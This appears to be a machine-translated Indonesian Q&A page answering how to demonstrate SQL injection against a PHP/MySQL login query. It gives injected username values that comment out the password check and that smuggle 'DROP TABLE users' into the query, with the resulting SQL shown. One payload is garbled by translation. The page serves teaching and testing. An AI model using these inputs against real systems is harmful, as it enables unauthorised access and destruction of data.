Mysql
 sql >> Teknologi Basis Data >  >> RDS >> Mysql

Bagaimana cara mendemonstrasikan SQL Injection dalam kode PHP dan MySQL ini?

Sesuatu seperti ini harus dilakukan:

  1. Untuk masuk sebagai pengguna "foo", setel nama pengguna menjadi "foo' -- "

Ini akan membuat kueri Anda terlihat seperti

$res = mysql_query("SELECT * from users where user='foo' -- ' AND pass=''");

Tanda "-- " berarti sisa baris dikomentari

  1. Tidak yakin apakah ini akan berhasil, tetapi coba setel nama pengguna ke "foo' OR (pengguna DROP TABLE) -- "

Ini akan membuat kueri Anda terlihat seperti:

$res = mysql_query("SELECT * from users where user='foo' OR (DROP TABLE users) -- ' AND pass=''");

mungkin tidak menerimanya - saya pikir subkueri hanya dapat PILIH.

Fungsi mysql_query hanya akan menjalankan satu kueri - yang lain mengizinkan Anda melakukan ini:

$res = mysql_query("SELECT * from users where user='foo'; DROP TABLE users -- ' AND pass=''"); 


  1. Database
  2.   
  3. Mysql
  4.   
  5. Oracle
  6.   
  7. Sqlserver
  8.   
  9. PostgreSQL
  10.   
  11. Access
  12.   
  13. SQLite
  14.   
  15. MariaDB
  1. menyalin ke tabel temp membutuhkan waktu lama

  2. Temukan baris di A yang tidak memiliki baris terkait di B, di mana FK ada di B?

  3. MySql:Menyimpan data pilihan ganda dalam database

  4. Login terakhir MYSQL dan jumlah login dalam 3 bulan terakhir

  5. Hubungkan database MySQL dari Android